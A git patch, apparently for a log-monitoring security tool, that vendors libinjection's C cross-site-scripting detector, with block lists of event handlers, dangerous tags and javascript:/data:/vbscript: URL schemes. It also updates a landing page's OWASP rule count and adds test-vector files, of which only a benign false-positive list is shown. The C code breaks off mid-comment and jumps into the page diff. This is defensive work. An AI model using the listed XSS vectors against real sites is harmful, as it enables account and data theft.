animation */ + {"RESET", TYPE_BLACK}, + {"RESIZE", TYPE_BLACK}, + {"RESOURCETIMINGBUFFERFULL", TYPE_BLACK}, + {"RESULT", TYPE_BLACK}, + {"RESUME", TYPE_BLACK}, + {"ROTATEGESTURE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"ROTATEGESTURESTART", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"ROTATEGESTUREUPDATE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"RTCTRANSFORM", TYPE_BLACK}, + {"SCROLL", TYPE_BLACK}, + {"SCROLLEDAREACHANGED", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SCROLLEND", + TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl, WebKit: + EventNames.json, Firefox: EventNameList.h */ + {"SCROLLPORTOVERFLOW", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"SCROLLPORTUNDERFLOW", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"SCROLLSNAPCHANGE", TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl + - CSS Scroll Snap */ + {"SCROLLSNAPCHANGING", + TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl - CSS Scroll Snap + */ + {"SEARCH", TYPE_BLACK}, + {"SECURITYPOLICYVIOLATION", TYPE_BLACK}, + {"SEEKED", TYPE_BLACK}, + {"SEEKING", TYPE_BLACK}, + {"SELECT", TYPE_BLACK}, + {"SELECTEDCANDIDATEPAIRCHANGE", TYPE_BLACK}, + {"SELECTEND", TYPE_BLACK}, + {"SELECTIONCHANGE", TYPE_BLACK}, + {"SELECTSTART", TYPE_BLACK}, + {"SHIPPINGADDRESSCHANGE", TYPE_BLACK}, + {"SHIPPINGCONTACTSELECTED", TYPE_BLACK}, + {"SHIPPINGMETHODSELECTED", TYPE_BLACK}, + {"SHIPPINGOPTIONCHANGE", TYPE_BLACK}, + {"SHOW", TYPE_BLACK}, + {"SIGNALINGSTATECHANGE", TYPE_BLACK}, + {"SLOTCHANGE", TYPE_BLACK}, + {"SMILBEGINEVENT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - SVG/SMIL */ + {"SMILENDEVENT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - SVG/SMIL */ + {"SMILREPEATEVENT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - SVG/SMIL */ + {"SORT", TYPE_BLACK}, /* Chromium: Blink GlobalEventHandlers.idl */ + {"SOUNDEND", TYPE_BLACK}, + {"SOUNDSTART", TYPE_BLACK}, + {"SOURCECLOSE", TYPE_BLACK}, + {"SOURCEENDED", TYPE_BLACK}, + {"SOURCEOPEN", TYPE_BLACK}, + {"SPEECHEND", TYPE_BLACK}, + {"SPEECHSTART", TYPE_BLACK}, + {"SQUEEZE", TYPE_BLACK}, + {"SQUEEZEEND", TYPE_BLACK}, + {"SQUEEZESTART", TYPE_BLACK}, + {"STALLED", TYPE_BLACK}, + {"START", TYPE_BLACK}, + {"STARTED", TYPE_BLACK}, + {"STARTSTREAMING", TYPE_BLACK}, + {"STATECHANGE", TYPE_BLACK}, + {"STOP", TYPE_BLACK}, + {"STORAGE", TYPE_BLACK}, + {"SUBMIT", TYPE_BLACK}, + {"SVGLOAD", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SVGSCROLL", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SWIPEGESTURE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SWIPEGESTUREEND", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SWIPEGESTUREMAYSTART", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SWIPEGESTURESTART", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SWIPEGESTUREUPDATE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"SUCCESS", TYPE_BLACK}, + {"SUSPEND", TYPE_BLACK}, + {"TAPGESTURE", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"TEXTINPUT", TYPE_BLACK}, + {"TIMEOUT", TYPE_BLACK}, + {"TIMEUPDATE", TYPE_BLACK}, + {"TOGGLE", TYPE_BLACK}, + {"TONECHANGE", TYPE_BLACK}, + {"TOUCHCANCEL", TYPE_BLACK}, + {"TOUCHEND", TYPE_BLACK}, + {"TOUCHFORCECHANGE", TYPE_BLACK}, + {"TOUCHMOVE", TYPE_BLACK}, + {"TOUCHSTART", TYPE_BLACK}, + {"TRACK", TYPE_BLACK}, + {"TRANSITIONCANCEL", TYPE_BLACK}, + {"TRANSITIONEND", TYPE_BLACK}, + {"TRANSITIONRUN", TYPE_BLACK}, + {"TRANSITIONSTART", TYPE_BLACK}, + {"UNCAPTUREDERROR", TYPE_BLACK}, + {"UNHANDLEDREJECTION", TYPE_BLACK}, + {"UNIDENTIFIEDEVENT", + TYPE_BLACK}, /* Firefox: mozilla-firefox/firefox/dom/events/EventNameList.h + */ + {"UNLOAD", TYPE_BLACK}, + {"UNMUTE", TYPE_BLACK}, + {"USERPROXIMITY", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - deprecated + */ + {"UPDATE", TYPE_BLACK}, + {"UPDATEEND", TYPE_BLACK}, + {"UPDATEFOUND", TYPE_BLACK}, + {"UPDATEREADY", TYPE_BLACK}, + {"UPDATESTART", TYPE_BLACK}, + {"UPGRADENEEDED", TYPE_BLACK}, + {"VALIDATEMERCHANT", TYPE_BLACK}, + {"VERSIONCHANGE", TYPE_BLACK}, + {"VISIBILITYCHANGE", TYPE_BLACK}, + {"VOICESCHANGED", TYPE_BLACK}, + {"VOLUMECHANGE", TYPE_BLACK}, + {"VRDISPLAYACTIVATE", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - WebVR + deprecated */ + {"VRDISPLAYCONNECT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - WebVR + deprecated */ + {"VRDISPLAYDEACTIVATE", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - WebVR + deprecated */ + {"VRDISPLAYDISCONNECT", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - WebVR + deprecated */ + {"VRDISPLAYPRESENTCHANGE", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - WebVR + deprecated */ + {"WAITING", TYPE_BLACK}, + {"WAITINGFORKEY", TYPE_BLACK}, + {"WEBGLCONTEXTCREATIONERROR", TYPE_BLACK}, + {"WEBGLCONTEXTLOST", TYPE_BLACK}, + {"WEBGLCONTEXTRESTORED", TYPE_BLACK}, + {"WEBKITANIMATIONEND", TYPE_BLACK}, + {"WEBKITANIMATIONITERATION", TYPE_BLACK}, + {"WEBKITANIMATIONSTART", TYPE_BLACK}, + {"WEBKITASSOCIATEFORMCONTROLS", TYPE_BLACK}, /* WebKit: EventNames.json */ + {"WEBKITAUTOFILLREQUEST", TYPE_BLACK}, /* WebKit: EventNames.json */ + {"WEBKITBEFORETEXTINSERTED", TYPE_BLACK}, + {"WEBKITBEGINFULLSCREEN", TYPE_BLACK}, + {"WEBKITCURRENTPLAYBACKTARGETISWIRELESSCHANGED", TYPE_BLACK}, + {"WEBKITENDFULLSCREEN", TYPE_BLACK}, + {"WEBKITFULLSCREENCHANGE", TYPE_BLACK}, + {"WEBKITFULLSCREENERROR", TYPE_BLACK}, + {"WEBKITKEYADDED", TYPE_BLACK}, + {"WEBKITKEYERROR", TYPE_BLACK}, + {"WEBKITKEYMESSAGE", TYPE_BLACK}, + {"WEBKITMEDIASESSIONMETADATACHANGED", + TYPE_BLACK}, /* WebKit: EventNames.json */ + {"WEBKITMOUSEFORCECHANGED", TYPE_BLACK}, + {"WEBKITMOUSEFORCEDOWN", TYPE_BLACK}, + {"WEBKITMOUSEFORCEUP", TYPE_BLACK}, + {"WEBKITMOUSEFORCEWILLBEGIN", TYPE_BLACK}, + {"WEBKITNEEDKEY", TYPE_BLACK}, + {"WEBKITNETWORKINFOCHANGE", TYPE_BLACK}, + {"WEBKITPLAYBACKTARGETAVAILABILITYCHANGED", TYPE_BLACK}, + {"WEBKITPRESENTATIONMODECHANGED", TYPE_BLACK}, + {"WEBKITREMOVESOURCEBUFFER", TYPE_BLACK}, + {"WEBKITSHADOWROOTATTACHED", TYPE_BLACK}, /* WebKit: EventNames.json */ + {"WEBKITSOURCECLOSE", TYPE_BLACK}, + {"WEBKITSOURCEENDED", TYPE_BLACK}, + {"WEBKITSOURCEOPEN", TYPE_BLACK}, + {"WEBKITTRANSITIONEND", TYPE_BLACK}, + {"WHEEL", TYPE_BLACK}, + {"WRITE", TYPE_BLACK}, + {"WRITEEND", TYPE_BLACK}, + {"WRITESTART", TYPE_BLACK}, + {"XULBROADCAST", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - XUL + specific */ + {"XULCOMMANDUPDATE", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - XUL + specific */ + {"XULPOPUPHIDDEN", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - XUL + specific */ + {"XULPOPUPHIDING", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - XUL + specific */ + {"XULPOPUPSHOWING", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - XUL + specific */ + {"XULPOPUPSHOWN", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - XUL + specific */ + {"XULSYSTEMSTATUSBARCLICK", + TYPE_BLACK}, /* Firefox: gecko-dev/dom/events/EventNameList.h - XUL + specific */ + {"ZOOM", TYPE_BLACK}, + {NULL, TYPE_NONE}}; + +/* + * view-source: + * data: + * javascript: + */ +static stringtype_t BLACKATTR[] = { + {"ACTION", TYPE_ATTR_URL}, /* form */ + {"ATTRIBUTENAME", + TYPE_ATTR_INDIRECT}, /* SVG allow indirection of attribute names */ + {"BY", TYPE_ATTR_URL}, /* SVG */ + {"BACKGROUND", TYPE_ATTR_URL}, /* IE6, O11 */ + {"DATAFORMATAS", TYPE_BLACK}, /* IE */ + {"DATASRC", TYPE_BLACK}, /* IE */ + {"DYNSRC", TYPE_ATTR_URL}, /* Obsolete img attribute */ + {"FILTER", TYPE_STYLE}, /* Opera, SVG inline style */ + {"FORMACTION", TYPE_ATTR_URL}, /* HTML 5 */ + {"FOLDER", TYPE_ATTR_URL}, /* Only on A tags, IE-only */ + {"FROM", TYPE_ATTR_URL}, /* SVG */ + {"HANDLER", TYPE_ATTR_URL}, /* SVG Tiny, Opera */ + {"HREF", TYPE_ATTR_URL}, + {"LOWSRC", TYPE_ATTR_URL}, /* Obsolete img attribute */ + {"POSTER", TYPE_ATTR_URL}, /* Opera 10,11 */ + {"SRC", TYPE_ATTR_URL}, + {"STYLE", TYPE_STYLE}, + {"TO", TYPE_ATTR_URL}, /* SVG */ + {"VALUES", TYPE_ATTR_URL}, /* SVG */ + {"XLINK:HREF", TYPE_ATTR_URL}, + {NULL, TYPE_NONE}}; + +/* xmlns */ +/* `xml-stylesheet` > , */ + +/* + static const char* BLACKATTR[] = { + "ATTRIBUTENAME", + "BACKGROUND", + "DATAFORMATAS", + "HREF", + "SCROLL", + "SRC", + "STYLE", + "SRCDOC", + NULL + }; +*/ + +static const char *BLACKTAG[] = { + "APPLET", + /* , "AUDIO" */ + "BASE", "COMMENT", /* IE http://html5sec.org/#38 */ + "EMBED", + /* , "FORM" */ + "FRAME", "FRAMESET", "HANDLER", /* Opera SVG, effectively a script tag */ + "IFRAME", "IMPORT", "ISINDEX", "LINK", "LISTENER", + /* , "MARQUEE" */ + "META", "NOSCRIPT", "OBJECT", "SCRIPT", "STYLE", + /* , "VIDEO" */ + "VMLFRAME", "XML", "XSS", NULL}; + +static int cstrcasecmp_with_null(const char *a, const char *b, size_t n) { + unsigned int ai = 0, bi = 0; + char ca; + char cb; + /* printf("Comparing to %s %.*s\n", a, (int)n, b); */ + while (n-- > 0) { + cb = b[bi++]; + if (cb == '\0') { + continue; + } + + ca = a[ai++]; + + if (cb >= 'a' && cb <= 'z') { + cb -= 0x20; + } + + /* printf("Comparing %c vs %c with %d left\n", ca, cb, (int)n); */ + if (ca != cb) { + return 1; + } + } + ca = a[ai++]; + + if (ca == '\0') { + /* printf(" MATCH \n"); */ + return 0; + } else { + return 1; + } +} + +/* + * Does an HTML encoded binary string (const char*, length) start with + * a all uppercase c-string (null terminated), case insensitive! + * + * also ignore any embedded nulls in the HTML string! + * + * @param a - the prefix to check for + * @param b - the string to check + * @param n - the length of the string to check + * @return 1 if the string starts with the prefix, 0 otherwise + */ +static int htmlencode_startswith(const char *a, const char *b, size_t n) { + size_t consumed; + int cb; + int first = 1; + /* printf("Comparing %s with %.*s\n", a,(int)n,b); */ + while (n > 0) { + if (*a == 0) { + /* printf("Match EOL!\n"); */ + return 1; + } + cb = html_decode_char_at(b, n, &consumed); + b += consumed; + n -= consumed; + + if (first && cb <= 32) { + /* ignore all leading whitespace and control characters */ + continue; + } + first = 0; + + if (cb == 0) { + /* always ignore null characters in user input */ + continue; + } + + if (cb == 10) { + /* always ignore vertical tab characters in user input */ + /* who allows this?? */ + continue; + } + + if (cb >= 'a' && cb <= 'z') { + /* upcase */ + cb -= 0x20; + } + + if (*a != (char)cb) { + /* printf(" %c != %c\n", *a, cb); */ + /* mismatch */ + return 0; + } + a++; + } + + return (*a == 0) ? 1 : 0; +} + +static int is_black_tag(const char *s, size_t len) { + const char **black; + + if (len < 3) { + return 0; + } + + black = BLACKTAG; + while (*black != NULL) { + if (cstrcasecmp_with_null(*black, s, len) == 0) { + /* printf("Got black tag %s\n", *black); */ + return 1; + } + black += 1; + } + + /* anything SVG related */ + if ((s[0] == 's' || s[0] == 'S') && (s[1] == 'v' || s[1] == 'V') && + (s[2] == 'g' || s[2] == 'G')) { + /* printf("Got SVG tag \n"); */ + return 1; + } + + /* Anything XSL(t) related */ + if ((s[0] == 'x' || s[0] == 'X') && (s[1] == 's' || s[1] == 'S') && + (s[2] == 'l' || s[2] == 'L')) { + /* printf("Got XSL tag\n"); */ + return 1; + } + + return 0; +} + +static attribute_t is_black_attr(const char *s, size_t len) { + stringtype_t *black; + + if (len < 2) { + return TYPE_NONE; + } + + if (len >= 5) { + + /* JavaScript on.* event handlers */ + if ((s[0] == 'o' || s[0] == 'O') && (s[1] == 'n' || s[1] == 'N')) { + black = BLACKATTREVENT; + const char *s_without_on = + &s[2]; // start comparing from the third char + size_t s_without_on_len = len - 2; // temporary length variable + while (black->name != NULL) { + size_t black_name_len = strlen(black->name); + // determine the maximum length to compare + size_t max_len = (s_without_on_len < black_name_len) + ? s_without_on_len + : black_name_len; + if (cstrcasecmp_with_null(black->name, s_without_on, max_len) == + 0) { + /* printf("Got banned attribute name %s\n", black->name); */ + return black->atype; + } + black += 1; + } + } + + /* XMLNS can be used to create arbitrary tags */ + if (cstrcasecmp_with_null("XMLNS", s, 5) == 0 || + cstrcasecmp_with_null("XLINK", s, 5) == 0) { + /* printf("Got XMLNS and XLINK tags\n"); */ + return TYPE_BLACK; + } + } + + black = BLACKATTR; + while (black->name != NULL) { + if (cstrcasecmp_with_null(black->name, s, len) == 0) { + /* printf("Got banned attribute name %s\n", black->name); */ + return black->atype; + } + black += 1; + } + + return TYPE_NONE; +} + +static int is_black_url(const char *s, size_t len) { + + static const char *data_url = "DATA"; + static const char *viewsource_url = "VIEW-SOURCE"; + + /* obsolete but interesting signal */ + static const char *vbscript_url = "VBSCRIPT"; + + /* covers JAVA, JAVASCRIPT, + colon */ + static const char *javascript_url = "JAVA"; + + /* skip whitespace */ + while (len > 0 && (*s <= 32 || *s >= 127)) { + /* + * HEY: this is a signed character. + * We are intentionally skipping high-bit characters too + * since they are not ASCII, and Opera sometimes uses UTF-8 whitespace. + * + * Also in EUC-JP some of the high bytes are just ignored. + */ + ++s; + --len; + } + + if (htmlencode_startswith(data_url, s, len)) { + return 1; + } + + if (htmlencode_startswith(viewsource_url, s, len)) { + return 1; + } + + if (htmlencode_startswith(javascript_url, s, len)) { + return 1; + } + + if (htmlencode_startswith(vbscript_url, s, len)) { + return 1; + } + return 0; +} + +injection_result_t libinjection_is_xss(const char *s, size_t len, int flags) { + h5_state_t h5; + attribute_t attr = TYPE_NONE; + injection_result_t parser_result; + + libinjection_h5_init(&h5, s, len, (enum html5_flags)flags); + while ((parser_result = libinjection_h5_next(&h5)) == + LIBINJECTION_RESULT_TRUE) { + if (h5.token_type != ATTR_VALUE) { + attr = TYPE_NONE; + } + + if (h5.token_type == DOCTYPE) { + return LIBINJECTION_RESULT_TRUE; + } else if (h5.token_type == TAG_NAME_OPEN) { + if (is_black_tag(h5.token_start, h5.token_len)) { + return LIBINJECTION_RESULT_TRUE; + } + } else if (h5.token_type == ATTR_NAME) { + attr = is_black_attr(h5.token_start, h5.token_len); + } else if (h5.token_type == ATTR_VALUE) { + /* + * IE6,7,8 parsing works a bit differently so + * a whole
01 — detect
-
Logs + inbound connections. 94 OWASP CRS rules + 1 ThreatCrush rule, live.
+
Logs + inbound connections. 96 OWASP CRS rules + 1 ThreatCrush rule, live.
02 — reduce
diff --git a/apps/web/src/app/page.tsx b/apps/web/src/app/page.tsx index 8582f846..e58f3edb 100644 --- a/apps/web/src/app/page.tsx +++ b/apps/web/src/app/page.tsx @@ -10,7 +10,7 @@ const features = [ { icon: "🔍", title: "Live Attack Detection", - desc: "Reads your nginx, auth, syslog and journald logs and watches inbound connections to the ports you serve. Every nginx request is scored against 94 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule — SQLi, XSS, path traversal, RFI, RCE, SSRF — alongside SSH brute force, port scan, SYN flood and DNS tunneling detection, in real-time.", + desc: "Reads your nginx, auth, syslog and journald logs and watches inbound connections to the ports you serve. Every nginx request is scored against 96 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule — SQLi, XSS, path traversal, RFI, RCE, SSRF — alongside SSH brute force, port scan, SYN flood and DNS tunneling detection, in real-time.", }, { icon: "🛡️", From 8d0cc93e2fc6a89ffd25739aa29330da55ccecfa Mon Sep 17 00:00:00 2001 From: Anthony Ettinger Date: Fri, 25 Sep 2026 18:23:12 +0000 Subject: [PATCH 2/2] test(cli): commit the vendored libinjection sample vectors the root data/ ignore hid --- .gitignore | 2 + .../libinjection/data/false_positives.txt | 447 ++++++++++++ .../vendor/libinjection/data/sqli-hackers.txt | 265 ++++++++ .../vendor/libinjection/data/sqli-misc.txt | 640 ++++++++++++++++++ .../vendor/libinjection/data/sqli-phpids.txt | 275 ++++++++ .../libinjection/data/xss-html5secorg.txt | 488 +++++++++++++ .../data/xss-owasp-cheatsheet-20131120.txt | 259 +++++++ .../libinjection/data/xss-smoke-test.txt | 86 +++ .../libinjection/data/xss-updates-2025.txt | 477 +++++++++++++ 9 files changed, 2939 insertions(+) create mode 100644 apps/cli/vendor/libinjection/data/false_positives.txt create mode 100644 apps/cli/vendor/libinjection/data/sqli-hackers.txt create mode 100644 apps/cli/vendor/libinjection/data/sqli-misc.txt create mode 100644 apps/cli/vendor/libinjection/data/sqli-phpids.txt create mode 100644 apps/cli/vendor/libinjection/data/xss-html5secorg.txt create mode 100644 apps/cli/vendor/libinjection/data/xss-owasp-cheatsheet-20131120.txt create mode 100644 apps/cli/vendor/libinjection/data/xss-smoke-test.txt create mode 100644 apps/cli/vendor/libinjection/data/xss-updates-2025.txt diff --git a/.gitignore b/.gitignore index 5f6f7922..87830e4b 100644 --- a/.gitignore +++ b/.gitignore @@ -42,6 +42,8 @@ node_modules # Project-specific data/ +# libinjection's upstream test vectors, run by src/core/crs/__tests__ +!/apps/cli/vendor/libinjection/data/ supabase/supabase/.temp/ .qwen/ .claude/ diff --git a/apps/cli/vendor/libinjection/data/false_positives.txt b/apps/cli/vendor/libinjection/data/false_positives.txt new file mode 100644 index 00000000..5da41eaa --- /dev/null +++ b/apps/cli/vendor/libinjection/data/false_positives.txt @@ -0,0 +1,447 @@ +# after Ignoring 1.e or 1.E https://github.com/libinjection/libinjection/pull/60, still not be SQLI +Hi, 1.e be happy to assist +FROM 10001.103EABC TO TAG CHRISTMAS + +# +# List of various inputs that failed and caused a false positive +# +24-7-TEAM +A-LAST-MINUTE +1/26/11 +TRUE#LAST +1D0AA0A700000004/9GUH7NYWTMDHBAA CTFT0FG7/W4AWAABAAAAGK0WQAGHAAAAGAAABJMCGA= +HTTP://WWW.TINYBELLESBLOG.COM/2011/11/2ND-ANNIVERSARY3K-FAN-GIVEAWAY.HTML#{"COLOR":"#2A1100","BACKGROUNDCOLOR":"WHITE","UNVISITEDLINKCOLOR":"#D860A7","FONTFAMILY":"GEORGIA, SERIF"} +NOT ALL WHO WANDER +ALL NATURAL SKIN CARE +DAD TO BE +UNIQUE TABLE RUNNER +AS FOR ME AND MY HOUSE +LOCK AND KEY +1 BY 1 INCH PILLOWS +SET WITH ENVELOPES +FROM TO TAG CHRISTMAS +3 BY 5 RECIPE CARDS +3 TO 6 MONTHS +BY ORDER OF THE MANAGEMENT +A IS FOR ADORABLE +WHERE IS GEORGE +KEY TO MY HEART +Y'ALL COME BACK NOW +1950's dresses +EC-2HM85288X8372881C +4/_ZBKO2JKUCJC73C8KPIUDTJ3IMGM +MATS 5" BY 7" +I'M AFRAID SO. YOU'RE ENTIRELY BONKERS. BUT I'LL TELL YOU A SECRET THE BEST PEOPLE ARE" - ALICE +HUGE BRASS CLOCK GEAR 2 3/4" - VINTAGE +JACK-O'-LANTERN? +7 AND A HALF +7 FOR ALL MANKIND +5 AND A QUARTER BY 8 INCHES +40 AND FAB +6 KEY CHAR +3 FOR 20 +F AND A NECKLACE +21 LONG IN +FD AND C COSMETIC COLORANT +2 OR 4 METAL BUTTONS +13 IS A LUCKY NUMBER +1 AND 1/2" BUTTON +"DARE TO BE AWESOME": +"ALASKA" + 1978 +10 DOUBLE LOOP SETS +B IS FOR BLACK BY TATIANA SOROKA +DANCIN' LIKE A ROBOT ON FIRE +D AND D DICE +BE TRUE 2 U +B AND A PRINTS +"SWEATER DRESS" AND "CHRISTMAS" +SMALL "& SIGN +9-2-5 BLACK PUMPS +2-3/4 CELLO BAGS +30-30-60 INVITE +11-11-11 DAY POPPY +4-1-7-CUEIPNJF1QIETPB8PQBVZ5 +1-1/8 PLUGS +1 1/8 PLUGS +1&1/8 PLUGS +909-527-9247 ++1 (917) 666-0987 +(9178787873) +(junk) +"PINK ROSES" -DRESS -CLOTHES -SWEATER -COAT -JACKET -SKIRT -PANTS -SHIRT +DRESS SIZE 20" -PATTERN -BABY +"CROSS STITCH" -PDF -WOOL +DRESS WITH HAT 18'; +2:1320316063:9-3Z6OMATJOWG5BO2JWF3I2S0QEN:XXMET8ACIJ1CVLEHB5MBBW-NPIEQ:0440D7CD127A7FBFCB9D17B01D38FB0A7C0EBC11 +HUGE BRASS CLOCK GEAR 2 3/4" - VINTAGE - STEAMPUNKVINTAGEFIND AT ETSY G194 +IN ORDER TO USE SEARCH +BEGIN EACH DAY WITH LOVE +SQL-3-RMGN_V-BBNGV40NGQRAGGZ +IF-9-86MDXMB1Z-FINBSB4WIDF-B +HTTP://CONTUBO.TV/VIDEOS/1949/2-BEST-MINIFALDAS,-TANGAS,CULONAS-MINISKIRTS"-BIKINIS-"SEXY-GIRLS"-BOOBIES-BOOTTIES +GROUP UPDATE FACEBOOK LINK NOT PROVIDED +CHRISTMAS STOCKING "NOT" STUFFER +ORDER@ALLTHATSHEWANTS.US +ALL@MKSAT.NET +ALL NATURAL SHA +WHERE IS THE SHOW +"ALASKA" + 1978 +SMALL "&" SIGN +50%2526%252339%253Bs +VINTAGE CARVED BEAD'" -LUCITE -PLASTIC +pr_shop%22%3EMamaBearBabyWear%3C/a%3E +poem+'if' +CRAFT SHOW SET +DIARY WITH LOCK +CLIP ON READ +CLOCK WITH KEYS +THERE IS NOT PLACE LIKE HOME +BASE; SET SWAROVSKI +LED -(ZEPPELIN) +LIFE IS NOT ABOUT WAITING FOR THE STORM TO PASS +70" ROUND TABLE CLOTH +"CASE" +"RIGHT ON" +"NOT ALL WHO WANDER" +V1_OTHER_1">ETSYFOO +BLAH FOO +BLAH FOO +RSCHMIDT @FPMC-WILLMAR/COM +XSERVING"; ";PLATTER"; ";VINTAGE"; +/SEARCH/?INCLUDES=&SEARCH_QUERY=TYPOGRAPHY+PRINT+"WITH+YOU"&REF=RELATED&PAGE=1 +LLLLLLLLLLLLLLLLLLLLLLLLLLLLLKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;''''''''''''''''''''''''''''''''''''''''''''''';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKL;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;';;LK +SCRAPBOOK PAPER PACK (8.5X11"-300 DPI) -- +SWIRLS DIGITAL SCRAPBOOK PAPER PACK (8.5X11"-300 DPI) -- 10 DIGITAL PAPERS -- 122 +HTTP://WWW.MECKMOM.COM/MMDL/CHRISTMAS BUDGET PLANNER.PDF';" HREF="HTTP:/WWW.MECKMOM.COM +1.5 WITH 1/2 INCH LOOP END LOBSTER +60;S MOD DRESSES +7" #2 CIRCULAR NEEDLE +9/PLUGS AND TUNNELS +9/16PLUGS AND TUNNELS +"NOT ON FACEBOOK" +"#2 MOM" +80%25 ACRYLIC AND 20%25 WOOL +35%25 COTTON AND 65%25 POLYESTER. +5685587||ORDER=||SECTION_ID=||PAGE=2 +{%25 $SENDER_FULL_NAME %25} BLAH BLAH BLAH {%25 $CONVO_SEND_DATE|DATE_FORMAT:'%25B %25D, %25Y' %25}. +UJUUUI8UJKPKJMMJUMNMJUJMMNNJUJMNJJJMNJKJMJJKBJ9I8UJJMMNJNJJJJJJNNKJNMKUJJUNKJJJNJNJKJJJJJJJJJMNJJJJJKJIJJJJJJJJJJJJJJJJJGGGFSAQWERTYUIOP[]';LKGFDSAZXBNM,. +BAMBOO CHARCOAL SOAP 1 '# +BLUE BROWN -BABY -TODDLER -CCBCUSTOMDRESSES' -SHOES -SANDLES -HEEL --INFANT -CHILD -CHILDS -CHILDRENS -KID -KIDS -BOYS -BOY -MEN -MENS +BLUE BROWN -BABY -TODDLER -CCBCUSTOMDRESSES' --INFANT -CHILD -CHILDS -CHILDRENS -KID -KIDS -BOYS -BOY -MEN -MENS +REGARDEZ +BOOKMAR';[K]] +WOOL AND ACRYLIC FOR SOFTNESS +01/DEC/2011:20:45:25 +0;1;0;1;0 +5-DEC-QRIBMKCDNBUO2ELCW2FGFI +WOMEN';S ART DEC +DO OR NOT DO, THERE IS NO +ABC AND 123 WALL DEC +1.5 WITH 1/2 INCH LOOP END +"NOT FOR SALE" +"IS" STAMP +"LIKE" STAMP +/SEARCH/?INCLUDES=&SEARCH_QUERY=TYPOGRAPHY+PRINT+"WITH+YOU"&REF=RELATED&PAGE=1 + 1950' AND 60'S WOMEN'S COATS WITH FAKE +FOO; BAR 1+2+3 +WO;DCAT[JPTPGRA][ +/SEARCH_RESULTS.PHP?SEARCH_TYPE=ALL&INCLUDES[0]=TAGS&SEARCH_QUERY=MACBOOK PRO DECALS 15"&PAGE=2 +/SEARCH_RESULTS.PHP?SEARCH_TYPE=ALL&INCLUDES[0]=TAGS&SEARCH_QUERY=MACBOOK+PRO+DECALS+15&PAGE=2 +%2FSEARCH_RESULTS.PHP%3FSEARCH_TYPE%3DALL%26INCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DMACBOOK%2BPRO%2BDECALS%2B15%26PAGE%3D2 +%2FSEARCH_RESULTS.PHP%3FSEARCH_TYPE%3DALL%26INCLUDES%5B0%5D%3DTAGS%26SEARCH_QUERY%3DMACBOOK%2BPRO%2BDECALS%2B15%22%26PAGE%3D2 +KNICKIN' AND KNACKIN' SEE WHAT ONFIRE'S PACKIN' FOR CHRISTMAS BY ANNIE BECWAR + 0=[]' +"AS FOR ME AND MY +"EXIT, PURSUED B +"EXIT, PURSUED BY +4%27%2BX%2B4%27%2BWOOD +48%22%2BX%2B48%22%2BMODERN%2BART +90-%2B6%2BINCH +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D20%22%2BX%2B20%22%2BPILLOW%2BCOVER%2BGREEN%2BPATTERN%26VIEW_TYPE%3DGALLERY%26SHIP_TO%3DUS +%2FSEARCH%2FHANDMADE%3FSEARCH_SUBMIT%3D%26Q%3D%22NOT%2BAMUSED%22%26ORDER%3DMOST_RELEVANT%26SHIP_TO%3DZZ%26VIEW_TYPE%3DGALLERY%26PAGE%3D4 